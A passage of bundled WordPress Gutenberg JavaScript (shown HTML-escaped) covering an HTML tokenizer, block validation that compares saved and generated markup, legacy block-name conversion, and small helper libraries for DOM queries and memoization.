            } else if (char === &#039;&quot;&#039; || char === &quot;&#039;&quot; || char === &quot;&lt;&quot;) {
              this.delegate.reportSyntaxError(char + &quot; is not a valid character within attribute names&quot;);
              this.consume();
              this.delegate.appendToAttributeName(char);
            } else {
              this.consume();
              this.delegate.appendToAttributeName(char);
            }
          },
          afterAttributeName: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.consume();
              return;
            } else if (char === &quot;/&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;=&quot;) {
              this.consume();
              this.transitionTo(
                &quot;beforeAttributeValue&quot;
                /* beforeAttributeValue */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.transitionTo(
                &quot;attributeName&quot;
                /* attributeName */
              );
              this.delegate.beginAttribute();
              this.consume();
              this.delegate.appendToAttributeName(char);
            }
          },
          beforeAttributeValue: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.consume();
            } else if (char === &#039;&quot;&#039;) {
              this.transitionTo(
                &quot;attributeValueDoubleQuoted&quot;
                /* attributeValueDoubleQuoted */
              );
              this.delegate.beginAttributeValue(true);
              this.consume();
            } else if (char === &quot;&#039;&quot;) {
              this.transitionTo(
                &quot;attributeValueSingleQuoted&quot;
                /* attributeValueSingleQuoted */
              );
              this.delegate.beginAttributeValue(true);
              this.consume();
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.transitionTo(
                &quot;attributeValueUnquoted&quot;
                /* attributeValueUnquoted */
              );
              this.delegate.beginAttributeValue(false);
              this.consume();
              this.delegate.appendToAttributeValue(char);
            }
          },
          attributeValueDoubleQuoted: function() {
            var char = this.consume();
            if (char === &#039;&quot;&#039;) {
              this.delegate.finishAttributeValue();
              this.transitionTo(
                &quot;afterAttributeValueQuoted&quot;
                /* afterAttributeValueQuoted */
              );
            } else if (char === &quot;&amp;&quot;) {
              this.delegate.appendToAttributeValue(this.consumeCharRef() || &quot;&amp;&quot;);
            } else {
              this.delegate.appendToAttributeValue(char);
            }
          },
          attributeValueSingleQuoted: function() {
            var char = this.consume();
            if (char === &quot;&#039;&quot;) {
              this.delegate.finishAttributeValue();
              this.transitionTo(
                &quot;afterAttributeValueQuoted&quot;
                /* afterAttributeValueQuoted */
              );
            } else if (char === &quot;&amp;&quot;) {
              this.delegate.appendToAttributeValue(this.consumeCharRef() || &quot;&amp;&quot;);
            } else {
              this.delegate.appendToAttributeValue(char);
            }
          },
          attributeValueUnquoted: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.delegate.finishAttributeValue();
              this.consume();
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            } else if (char === &quot;/&quot;) {
              this.delegate.finishAttributeValue();
              this.consume();
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;&amp;&quot;) {
              this.consume();
              this.delegate.appendToAttributeValue(this.consumeCharRef() || &quot;&amp;&quot;);
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.finishAttributeValue();
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.consume();
              this.delegate.appendToAttributeValue(char);
            }
          },
          afterAttributeValueQuoted: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.consume();
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            } else if (char === &quot;/&quot;) {
              this.consume();
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            }
          },
          selfClosingStartTag: function() {
            var char = this.peek();
            if (char === &quot;&gt;&quot;) {
              this.consume();
              this.delegate.markTagAsSelfClosing();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            }
          },
          endTagOpen: function() {
            var char = this.consume();
            if (char === &quot;@&quot; || char === &quot;:&quot; || isAlpha(char)) {
              this.transitionTo(
                &quot;tagName&quot;
                /* tagName */
              );
              this.tagNameBuffer = &quot;&quot;;
              this.delegate.beginEndTag();
              this.appendToTagName(char);
            }
          }
        };
        this.reset();
      }
      EventedTokenizer2.prototype.reset = function() {
        this.transitionTo(
          &quot;beforeData&quot;
          /* beforeData */
        );
        this.input = &quot;&quot;;
        this.index = 0;
        this.line = 1;
        this.column = 0;
        this.delegate.reset();
      };
      EventedTokenizer2.prototype.transitionTo = function(state) {
        this.state = state;
      };
      EventedTokenizer2.prototype.tokenize = function(input) {
        this.reset();
        this.tokenizePart(input);
        this.tokenizeEOF();
      };
      EventedTokenizer2.prototype.tokenizePart = function(input) {
        this.input += preprocessInput(input);
        while (this.index &lt; this.input.length) {
          var handler = this.states[this.state];
          if (handler !== void 0) {
            handler.call(this);
          } else {
            throw new Error(&quot;unhandled state &quot; + this.state);
          }
        }
      };
      EventedTokenizer2.prototype.tokenizeEOF = function() {
        this.flushData();
      };
      EventedTokenizer2.prototype.flushData = function() {
        if (this.state === &quot;data&quot;) {
          this.delegate.finishData();
          this.transitionTo(
            &quot;beforeData&quot;
            /* beforeData */
          );
        }
      };
      EventedTokenizer2.prototype.peek = function() {
        return this.input.charAt(this.index);
      };
      EventedTokenizer2.prototype.consume = function() {
        var char = this.peek();
        this.index++;
        if (char === &quot;\n&quot;) {
          this.line++;
          this.column = 0;
        } else {
          this.column++;
        }
        return char;
      };
      EventedTokenizer2.prototype.consumeCharRef = function() {
        var endIndex = this.input.indexOf(&quot;;&quot;, this.index);
        if (endIndex === -1) {
          return;
        }
        var entity = this.input.slice(this.index, endIndex);
        var chars = this.entityParser.parse(entity);
        if (chars) {
          var count = entity.length;
          while (count) {
            this.consume();
            count--;
          }
          this.consume();
          return chars;
        }
      };
      EventedTokenizer2.prototype.markTagStart = function() {
        this.delegate.tagOpen();
      };
      EventedTokenizer2.prototype.appendToTagName = function(char) {
        this.tagNameBuffer += char;
        this.delegate.appendToTagName(char);
      };
      return EventedTokenizer2;
    })()
  );
  var Tokenizer = (
    /** @class */
    (function() {
      function Tokenizer2(entityParser, options) {
        if (options === void 0) {
          options = {};
        }
        this.options = options;
        this.token = null;
        this.startLine = 1;
        this.startColumn = 0;
        this.tokens = [];
        this.tokenizer = new EventedTokenizer(this, entityParser);
        this._currentAttribute = void 0;
      }
      Tokenizer2.prototype.tokenize = function(input) {
        this.tokens = [];
        this.tokenizer.tokenize(input);
        return this.tokens;
      };
      Tokenizer2.prototype.tokenizePart = function(input) {
        this.tokens = [];
        this.tokenizer.tokenizePart(input);
        return this.tokens;
      };
      Tokenizer2.prototype.tokenizeEOF = function() {
        this.tokens = [];
        this.tokenizer.tokenizeEOF();
        return this.tokens[0];
      };
      Tokenizer2.prototype.reset = function() {
        this.token = null;
        this.startLine = 1;
        this.startColumn = 0;
      };
      Tokenizer2.prototype.current = function() {
        var token = this.token;
        if (token === null) {
          throw new Error(&quot;token was unexpectedly null&quot;);
        }
        if (arguments.length === 0) {
          return token;
        }
        for (var i2 = 0; i2 &lt; arguments.length; i2++) {
          if (token.type === arguments[i2]) {
            return token;
          }
        }
        throw new Error(&quot;token type was unexpectedly &quot; + token.type);
      };
      Tokenizer2.prototype.push = function(token) {
        this.token = token;
        this.tokens.push(token);
      };
      Tokenizer2.prototype.currentAttribute = function() {
        return this._currentAttribute;
      };
      Tokenizer2.prototype.addLocInfo = function() {
        if (this.options.loc) {
          this.current().loc = {
            start: {
              line: this.startLine,
              column: this.startColumn
            },
            end: {
              line: this.tokenizer.line,
              column: this.tokenizer.column
            }
          };
        }
        this.startLine = this.tokenizer.line;
        this.startColumn = this.tokenizer.column;
      };
      Tokenizer2.prototype.beginData = function() {
        this.push({
          type: &quot;Chars&quot;,
          chars: &quot;&quot;
        });
      };
      Tokenizer2.prototype.appendToData = function(char) {
        this.current(
          &quot;Chars&quot;
          /* Chars */
        ).chars += char;
      };
      Tokenizer2.prototype.finishData = function() {
        this.addLocInfo();
      };
      Tokenizer2.prototype.beginComment = function() {
        this.push({
          type: &quot;Comment&quot;,
          chars: &quot;&quot;
        });
      };
      Tokenizer2.prototype.appendToCommentData = function(char) {
        this.current(
          &quot;Comment&quot;
          /* Comment */
        ).chars += char;
      };
      Tokenizer2.prototype.finishComment = function() {
        this.addLocInfo();
      };
      Tokenizer2.prototype.tagOpen = function() {
      };
      Tokenizer2.prototype.beginStartTag = function() {
        this.push({
          type: &quot;StartTag&quot;,
          tagName: &quot;&quot;,
          attributes: [],
          selfClosing: false
        });
      };
      Tokenizer2.prototype.beginEndTag = function() {
        this.push({
          type: &quot;EndTag&quot;,
          tagName: &quot;&quot;
        });
      };
      Tokenizer2.prototype.finishTag = function() {
        this.addLocInfo();
      };
      Tokenizer2.prototype.markTagAsSelfClosing = function() {
        this.current(
          &quot;StartTag&quot;
          /* StartTag */
        ).selfClosing = true;
      };
      Tokenizer2.prototype.appendToTagName = function(char) {
        this.current(
          &quot;StartTag&quot;,
          &quot;EndTag&quot;
          /* EndTag */
        ).tagName += char;
      };
      Tokenizer2.prototype.beginAttribute = function() {
        this._currentAttribute = [&quot;&quot;, &quot;&quot;, false];
      };
      Tokenizer2.prototype.appendToAttributeName = function(char) {
        this.currentAttribute()[0] += char;
      };
      Tokenizer2.prototype.beginAttributeValue = function(isQuoted) {
        this.currentAttribute()[2] = isQuoted;
      };
      Tokenizer2.prototype.appendToAttributeValue = function(char) {
        this.currentAttribute()[1] += char;
      };
      Tokenizer2.prototype.finishAttributeValue = function() {
        this.current(
          &quot;StartTag&quot;
          /* StartTag */
        ).attributes.push(this._currentAttribute);
      };
      Tokenizer2.prototype.reportSyntaxError = function(message) {
        this.current().syntaxError = message;
      };
      return Tokenizer2;
    })()
  );

  // packages/blocks/build-module/api/validation/index.mjs
  var import_es6 = __toESM(require_es6(), 1);
  var import_deprecated7 = __toESM(require_deprecated(), 1);
  var import_html_entities = __toESM(require_html_entities(), 1);

  // packages/blocks/build-module/api/validation/logger.mjs
  function createLogger() {
    function createLogHandler(logger) {
      return (message, ...args) =&gt; logger(&quot;Block validation: &quot; + message, ...args);
    }
    return {
      // eslint-disable-next-line no-console
      error: createLogHandler(console.error),
      // eslint-disable-next-line no-console
      warning: createLogHandler(console.warn),
      getItems() {
        return [];
      }
    };
  }
  function createQueuedLogger() {
    const queue = [];
    const logger = createLogger();
    return {
      error(...args) {
        queue.push({ log: logger.error, args });
      },
      warning(...args) {
        queue.push({ log: logger.warning, args });
      },
      getItems() {
        return queue;
      }
    };
  }

  // packages/blocks/build-module/api/validation/index.mjs
  var identity = (x2) =&gt; x2;
  var REGEXP_WHITESPACE = /[\t\n\r\v\f ]+/g;
  var REGEXP_ONLY_WHITESPACE = /^[\t\n\r\v\f ]*$/;
  var REGEXP_STYLE_URL_TYPE = /^url\s*\([&#039;&quot;\s]*(.*?)[&#039;&quot;\s]*\)$/;
  var BOOLEAN_ATTRIBUTES = [
    &quot;allowfullscreen&quot;,
    &quot;allowpaymentrequest&quot;,
    &quot;allowusermedia&quot;,
    &quot;async&quot;,
    &quot;autofocus&quot;,
    &quot;autoplay&quot;,
    &quot;checked&quot;,
    &quot;controls&quot;,
    &quot;default&quot;,
    &quot;defer&quot;,
    &quot;disabled&quot;,
    &quot;download&quot;,
    &quot;formnovalidate&quot;,
    &quot;hidden&quot;,
    &quot;ismap&quot;,
    &quot;itemscope&quot;,
    &quot;loop&quot;,
    &quot;multiple&quot;,
    &quot;muted&quot;,
    &quot;nomodule&quot;,
    &quot;novalidate&quot;,
    &quot;open&quot;,
    &quot;playsinline&quot;,
    &quot;readonly&quot;,
    &quot;required&quot;,
    &quot;reversed&quot;,
    &quot;selected&quot;,
    &quot;typemustmatch&quot;
  ];
  var ENUMERATED_ATTRIBUTES = [
    &quot;autocapitalize&quot;,
    &quot;autocomplete&quot;,
    &quot;charset&quot;,
    &quot;contenteditable&quot;,
    &quot;crossorigin&quot;,
    &quot;decoding&quot;,
    &quot;dir&quot;,
    &quot;draggable&quot;,
    &quot;enctype&quot;,
    &quot;formenctype&quot;,
    &quot;formmethod&quot;,
    &quot;http-equiv&quot;,
    &quot;inputmode&quot;,
    &quot;kind&quot;,
    &quot;method&quot;,
    &quot;preload&quot;,
    &quot;scope&quot;,
    &quot;shape&quot;,
    &quot;spellcheck&quot;,
    &quot;translate&quot;,
    &quot;type&quot;,
    &quot;wrap&quot;
  ];
  var MEANINGFUL_ATTRIBUTES = [
    ...BOOLEAN_ATTRIBUTES,
    ...ENUMERATED_ATTRIBUTES
  ];
  var TEXT_NORMALIZATIONS = [identity, getTextWithCollapsedWhitespace];
  var REGEXP_NAMED_CHARACTER_REFERENCE = /^[\da-z]+$/i;
  var REGEXP_DECIMAL_CHARACTER_REFERENCE = /^#\d+$/;
  var REGEXP_HEXADECIMAL_CHARACTER_REFERENCE = /^#x[\da-f]+$/i;
  function isValidCharacterReference(text2) {
    return REGEXP_NAMED_CHARACTER_REFERENCE.test(text2) || REGEXP_DECIMAL_CHARACTER_REFERENCE.test(text2) || REGEXP_HEXADECIMAL_CHARACTER_REFERENCE.test(text2);
  }
  var DecodeEntityParser = class {
    /**
     * Returns a substitute string for an entity string sequence between `&amp;`
     * and `;`, or undefined if no substitution should occur.
     *
     * @param {string} entity Entity fragment discovered in HTML.
     *
     * @return {string | undefined} Entity substitute value.
     */
    parse(entity) {
      if (isValidCharacterReference(entity)) {
        return (0, import_html_entities.decodeEntities)(&quot;&amp;&quot; + entity + &quot;;&quot;);
      }
    }
  };
  function getTextPiecesSplitOnWhitespace(text2) {
    return text2.trim().split(REGEXP_WHITESPACE);
  }
  function getTextWithCollapsedWhitespace(text2) {
    return getTextPiecesSplitOnWhitespace(text2).join(&quot; &quot;);
  }
  function getMeaningfulAttributePairs(token) {
    return token.attributes.filter((pair) =&gt; {
      const [key, value] = pair;
      return value || key.indexOf(&quot;data-&quot;) === 0 || MEANINGFUL_ATTRIBUTES.includes(key);
    });
  }
  function isEquivalentTextTokens(actual, expected, logger = createLogger()) {
    let actualChars = actual.chars;
    let expectedChars = expected.chars;
    for (let i2 = 0; i2 &lt; TEXT_NORMALIZATIONS.length; i2++) {
      const normalize = TEXT_NORMALIZATIONS[i2];
      actualChars = normalize(actualChars);
      expectedChars = normalize(expectedChars);
      if (actualChars === expectedChars) {
        return true;
      }
    }
    logger.warning(
      &quot;Expected text `%s`, saw `%s`.&quot;,
      expected.chars,
      actual.chars
    );
    return false;
  }
  function getNormalizedLength(value) {
    if (0 === parseFloat(value)) {
      return &quot;0&quot;;
    }
    if (value.indexOf(&quot;.&quot;) === 0) {
      return &quot;0&quot; + value;
    }
    return value;
  }
  function getNormalizedStyleValue(value) {
    const textPieces = getTextPiecesSplitOnWhitespace(value);
    const normalizedPieces = textPieces.map(getNormalizedLength);
    const result = normalizedPieces.join(&quot; &quot;);
    return result.replace(REGEXP_STYLE_URL_TYPE, &quot;url($1)&quot;);
  }
  function getStyleProperties(text2) {
    const pairs = text2.replace(/;?\s*$/, &quot;&quot;).split(&quot;;&quot;).map((style) =&gt; {
      const [key, ...valueParts] = style.split(&quot;:&quot;);
      const value = valueParts.join(&quot;:&quot;);
      return [key.trim(), getNormalizedStyleValue(value.trim())];
    });
    return Object.fromEntries(pairs);
  }
  var isEqualAttributesOfName = {
    class: (actual, expected) =&gt; {
      const [actualPieces, expectedPieces] = [actual, expected].map(
        getTextPiecesSplitOnWhitespace
      );
      const actualDiff = actualPieces.filter(
        (c2) =&gt; !expectedPieces.includes(c2)
      );
      const expectedDiff = expectedPieces.filter(
        (c2) =&gt; !actualPieces.includes(c2)
      );
      return actualDiff.length === 0 &amp;&amp; expectedDiff.length === 0;
    },
    style: (actual, expected) =&gt; {
      return (0, import_es6.default)(
        ...[actual, expected].map(getStyleProperties)
      );
    },
    // For each boolean attribute, mere presence of attribute in both is enough
    // to assume equivalence.
    ...Object.fromEntries(
      BOOLEAN_ATTRIBUTES.map((attribute) =&gt; [attribute, () =&gt; true])
    )
  };
  function isEqualTagAttributePairs(actual, expected, logger = createLogger()) {
    if (actual.length !== expected.length) {
      logger.warning(
        &quot;Expected attributes %o, instead saw %o.&quot;,
        expected,
        actual
      );
      return false;
    }
    const expectedAttributes = {};
    for (let i2 = 0; i2 &lt; expected.length; i2++) {
      expectedAttributes[expected[i2][0].toLowerCase()] = expected[i2][1];
    }
    for (let i2 = 0; i2 &lt; actual.length; i2++) {
      const [name, actualValue] = actual[i2];
      const nameLower = name.toLowerCase();
      if (!expectedAttributes.hasOwnProperty(nameLower)) {
        logger.warning(&quot;Encountered unexpected attribute `%s`.&quot;, name);
        return false;
      }
      const expectedValue = expectedAttributes[nameLower];
      const isEqualAttributes = isEqualAttributesOfName[nameLower];
      if (isEqualAttributes) {
        if (!isEqualAttributes(actualValue, expectedValue)) {
          logger.warning(
            &quot;Expected attribute `%s` of value `%s`, saw `%s`.&quot;,
            name,
            expectedValue,
            actualValue
          );
          return false;
        }
      } else if (actualValue !== expectedValue) {
        logger.warning(
          &quot;Expected attribute `%s` of value `%s`, saw `%s`.&quot;,
          name,
          expectedValue,
          actualValue
        );
        return false;
      }
    }
    return true;
  }
  var isEqualTokensOfType = {
    StartTag: (actual, expected, logger = createLogger()) =&gt; {
      if (actual.tagName !== expected.tagName &amp;&amp; // Optimization: Use short-circuit evaluation to defer case-
      // insensitive check on the assumption that the majority case will
      // have exactly equal tag names.
      actual.tagName.toLowerCase() !== expected.tagName.toLowerCase()) {
        logger.warning(
          &quot;Expected tag name `%s`, instead saw `%s`.&quot;,
          expected.tagName,
          actual.tagName
        );
        return false;
      }
      return isEqualTagAttributePairs(
        ...[actual, expected].map(getMeaningfulAttributePairs),
        logger
      );
    },
    Chars: isEquivalentTextTokens,
    Comment: isEquivalentTextTokens
  };
  function getNextNonWhitespaceToken(tokens) {
    let token;
    while (token = tokens.shift()) {
      if (token.type !== &quot;Chars&quot;) {
        return token;
      }
      if (!REGEXP_ONLY_WHITESPACE.test(token.chars)) {
        return token;
      }
    }
  }
  function getHTMLTokens(html2, logger = createLogger()) {
    try {
      return new Tokenizer(new DecodeEntityParser()).tokenize(html2);
    } catch (e2) {
      logger.warning(&quot;Malformed HTML detected: %s&quot;, html2);
    }
    return null;
  }
  function isClosedByToken(currentToken, nextToken) {
    if (!currentToken.selfClosing) {
      return false;
    }
    if (nextToken &amp;&amp; nextToken.tagName === currentToken.tagName &amp;&amp; nextToken.type === &quot;EndTag&quot;) {
      return true;
    }
    return false;
  }
  function isEquivalentHTML(actual, expected, logger = createLogger()) {
    if (actual === expected) {
      return true;
    }
    const [actualTokens, expectedTokens] = [actual, expected].map(
      (html2) =&gt; getHTMLTokens(html2, logger)
    );
    if (!actualTokens || !expectedTokens) {
      return false;
    }
    let actualToken, expectedToken;
    while (actualToken = getNextNonWhitespaceToken(actualTokens)) {
      expectedToken = getNextNonWhitespaceToken(expectedTokens);
      if (!expectedToken) {
        logger.warning(
          &quot;Expected end of content, instead saw %o.&quot;,
          actualToken
        );
        return false;
      }
      if (actualToken.type !== expectedToken.type) {
        logger.warning(
          &quot;Expected token of type `%s` (%o), instead saw `%s` (%o).&quot;,
          expectedToken.type,
          expectedToken,
          actualToken.type,
          actualToken
        );
        return false;
      }
      const isEqualTokens = isEqualTokensOfType[actualToken.type];
      if (isEqualTokens &amp;&amp; !isEqualTokens(actualToken, expectedToken, logger)) {
        return false;
      }
      if (isClosedByToken(actualToken, expectedTokens[0])) {
        getNextNonWhitespaceToken(expectedTokens);
      } else if (isClosedByToken(expectedToken, actualTokens[0])) {
        getNextNonWhitespaceToken(actualTokens);
      }
    }
    if (expectedToken = getNextNonWhitespaceToken(expectedTokens)) {
      logger.warning(
        &quot;Expected %o, instead saw end of content.&quot;,
        expectedToken
      );
      return false;
    }
    return true;
  }
  function validateBlock(block, blockTypeOrName = block.name) {
    const isFallbackBlock = block.name === getFreeformContentHandlerName() || block.name === getUnregisteredTypeHandlerName();
    if (isFallbackBlock) {
      return [true, []];
    }
    const logger = createQueuedLogger();
    const blockType = normalizeBlockType(blockTypeOrName);
    let generatedBlockContent;
    try {
      generatedBlockContent = getSaveContent(blockType, block.attributes);
    } catch (error) {
      logger.error(
        &quot;Block validation failed because an error occurred while generating block content:\n\n%s&quot;,
        error.toString()
      );
      return [false, logger.getItems()];
    }
    const isValid = isEquivalentHTML(
      block.originalContent,
      generatedBlockContent,
      logger
    );
    if (!isValid) {
      logger.error(
        &quot;Block validation failed for `%s` (%o).\n\nContent generated by `save` function:\n\n%s\n\nContent retrieved from post body:\n\n%s&quot;,
        blockType.name,
        blockType,
        generatedBlockContent,
        block.originalContent
      );
    }
    return [isValid, logger.getItems()];
  }
  function isValidBlockContent(blockTypeOrName, attributes, originalBlockContent) {
    (0, import_deprecated7.default)(&quot;isValidBlockContent introduces opportunity for data loss&quot;, {
      since: &quot;12.6&quot;,
      plugin: &quot;Gutenberg&quot;,
      alternative: &quot;validateBlock&quot;
    });
    const blockType = normalizeBlockType(blockTypeOrName);
    const block = {
      name: blockType.name,
      attributes,
      innerBlocks: [],
      originalContent: originalBlockContent
    };
    const [isValid] = validateBlock(block, blockType);
    return isValid;
  }

  // packages/blocks/build-module/api/parser/convert-legacy-block.mjs
  function convertLegacyBlockNameAndAttributes(name, attributes) {
    const newAttributes = { ...attributes };
    if (&quot;core/cover-image&quot; === name) {
      name = &quot;core/cover&quot;;
    }
    if (&quot;core/text&quot; === name || &quot;core/cover-text&quot; === name) {
      name = &quot;core/paragraph&quot;;
    }
    if (name &amp;&amp; name.indexOf(&quot;core/social-link-&quot;) === 0) {
      newAttributes.service = name.substring(17);
      name = &quot;core/social-link&quot;;
    }
    if (name &amp;&amp; name.indexOf(&quot;core-embed/&quot;) === 0) {
      const providerSlug = name.substring(11);
      const deprecated12 = {
        speaker: &quot;speaker-deck&quot;,
        polldaddy: &quot;crowdsignal&quot;
      };
      newAttributes.providerNameSlug = providerSlug in deprecated12 ? deprecated12[providerSlug] : providerSlug;
      if (![&quot;amazon-kindle&quot;, &quot;wordpress&quot;].includes(providerSlug)) {
        newAttributes.responsive = true;
      }
      name = &quot;core/embed&quot;;
    }
    if (name === &quot;core/post-comment-author&quot;) {
      name = &quot;core/comment-author-name&quot;;
    }
    if (name === &quot;core/post-comment-content&quot;) {
      name = &quot;core/comment-content&quot;;
    }
    if (name === &quot;core/post-comment-date&quot;) {
      name = &quot;core/comment-date&quot;;
    }
    if (name === &quot;core/comments-query-loop&quot;) {
      name = &quot;core/comments&quot;;
      const { className = &quot;&quot; } = newAttributes;
      if (!className.includes(&quot;wp-block-comments-query-loop&quot;)) {
        newAttributes.className = [
          &quot;wp-block-comments-query-loop&quot;,
          className
        ].join(&quot; &quot;);
      }
    }
    if (name === &quot;core/post-comments&quot;) {
      name = &quot;core/comments&quot;;
      newAttributes.legacy = true;
    }
    if (attributes.layout?.type === &quot;grid&quot; &amp;&amp; typeof attributes.layout?.columnCount === &quot;string&quot;) {
      newAttributes.layout = {
        ...newAttributes.layout,
        columnCount: parseInt(attributes.layout.columnCount, 10)
      };
    }
    if (typeof attributes.style?.layout?.columnSpan === &quot;string&quot;) {
      const columnSpanNumber = parseInt(
        attributes.style.layout.columnSpan,
        10
      );
      newAttributes.style = {
        ...newAttributes.style,
        layout: {
          ...newAttributes.style.layout,
          columnSpan: isNaN(columnSpanNumber) ? void 0 : columnSpanNumber
        }
      };
    }
    if (typeof attributes.style?.layout?.rowSpan === &quot;string&quot;) {
      const rowSpanNumber = parseInt(attributes.style.layout.rowSpan, 10);
      newAttributes.style = {
        ...newAttributes.style,
        layout: {
          ...newAttributes.style.layout,
          rowSpan: isNaN(rowSpanNumber) ? void 0 : rowSpanNumber
        }
      };
    }
    return [name, newAttributes];
  }

  // node_modules/hpq/es/get-path.js
  function getPath(object, path) {
    var segments = path.split(&quot;.&quot;);
    var segment;
    while (segment = segments.shift()) {
      if (!(segment in object)) {
        return;
      }
      object = object[segment];
    }
    return object;
  }

  // node_modules/hpq/es/index.js
  var getDocument = /* @__PURE__ */ (function() {
    var doc;
    return function() {
      if (!doc) {
        doc = document.implementation.createHTMLDocument(&quot;&quot;);
      }
      return doc;
    };
  })();
  function parse(source, matchers) {
    if (!matchers) {
      return;
    }
    if (&quot;string&quot; === typeof source) {
      var doc = getDocument();
      doc.body.innerHTML = source;
      source = doc.body;
    }
    if (&quot;function&quot; === typeof matchers) {
      return matchers(source);
    }
    if (Object !== matchers.constructor) {
      return;
    }
    return Object.keys(matchers).reduce(function(memo, key) {
      memo[key] = parse(source, matchers[key]);
      return memo;
    }, {});
  }
  function prop(selector, name) {
    if (1 === arguments.length) {
      name = selector;
      selector = void 0;
    }
    return function(node) {
      var match = node;
      if (selector) {
        match = node.querySelector(selector);
      }
      if (match) {
        return getPath(match, name);
      }
    };
  }
  function attr(selector, name) {
    if (1 === arguments.length) {
      name = selector;
      selector = void 0;
    }
    return function(node) {
      var attributes = prop(selector, &quot;attributes&quot;)(node);
      if (attributes &amp;&amp; attributes.hasOwnProperty(name)) {
        return attributes[name].value;
      }
    };
  }
  function text(selector) {
    return prop(selector, &quot;textContent&quot;);
  }
  function query(selector, matchers) {
    return function(node) {
      var matches = node.querySelectorAll(selector);
      return [].map.call(matches, function(match) {
        return parse(match, matchers);
      });
    };
  }

  // node_modules/memize/dist/index.js
  function memize(fn, options) {
    var size = 0;
    var head;
    var tail;
    options = options || {};
    function memoized() {
      var node = head, len = arguments.length, args, i2;
      searchCache: while (node) {
        if (node.args.length !== arguments.length) {
          node = node.next;
          continue;
        }
        for (i2 = 0; i2 &lt; len; i2++) {
          if (node.args[i2] !== arguments[i2]) {
            node = node.next;
            continue searchCache;
          }
        }
        if (node !== head) {
          if (node === tail) {
            tail = node.prev;
          }
          node.prev.next = node.next;
          if (node.next) {
            node.next.prev = node.prev;
          }
          node.next = head;
          node.prev = null;
          head.prev = node;
          head = node;
        }
        return node.val;
      }
      args = new Array(len);
      for (i2 = 0; i2 &lt; len; i2++) {
        args[i2] = arguments[i2];
      }
      node = {
        args,
        // Generate the result from original function
        val: fn.apply(null, args)
      };
      if (head) {
        head.prev = node;
        node.next = head;
      } else {
        tail = node;
      }
      if (size === /** @type {MemizeOptions} */
      options.maxSize) {
        tail = /** @type {MemizeCacheNode} */
        tail.prev;
        tail.next = null;
      } else {
        size++;
      }
      head = node;
      return node.val;
    }
    memoized.clear = function() {
      head = null;
      tail = null;
      size = 0;
    };
    return memoized;
  }

  // packages/blocks/build-module/api/parser/get-block-attributes.mjs
  var import_hooks4 = __toESM(require_hooks(), 1);
  var import_rich_text4 = __toESM(require_rich_text(), 1);

  // packages/blocks/build-module/api/matchers.mjs
  var import_rich_text3 = __toESM(require_rich_text(), 1);

  // packages/blocks/build-module/api/node.mjs
  var import_deprecated9 = __toESM(require_deprecated(), 1);

  // packages/blocks/build-module/api/children.mjs
  var import_element3 = __toESM(require_element(), 1);
  var import_deprecated8 = __toESM(require_deprecated(), 1);
  function getSerializeCapableElement(children) {
    return children;
  }
  function getChildrenArray(children) {
    (0, import_deprecated8.default)(&quot;wp.blocks.children.getChildrenArray&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return children;
  }
  function concat(...blockNodes) {
    (0, import_deprecated8.default)(&quot;wp.blocks.children.concat&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.concat&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    const result = [];
    for (let i2 = 0; i2 &lt; blockNodes.length; i2++) {
      const blockNode = Array.isArray(blockNodes[i2]) ? blockNodes[i2] : [blockNodes[i2]];
      for (let j2 = 0; j2 &lt; blockNode.length; j2++) {
        const child = blockNode[j2];
        const canConcatToPreviousString = typeof child === &quot;string&quot; &amp;&amp; typeof result[result.length - 1] === &quot;string&quot;;
        if (canConcatToPreviousString) {
          result[result.length - 1] += child;
        } else {
          result.push(child);
        }
      }
    }
    return result;
  }
  function fromDOM22(domNodes) {
    (0, import_deprecated8.default)(&quot;wp.blocks.children.fromDOM&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.create&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    const result = [];
    for (let i2 = 0; i2 &lt; domNodes.length; i2++) {
      try {
        result.push(fromDOM2(domNodes[i2]));
      } catch (error) {
      }
    }
    return result;
  }
  function toHTML(children) {
    (0, import_deprecated8.default)(&quot;wp.blocks.children.toHTML&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
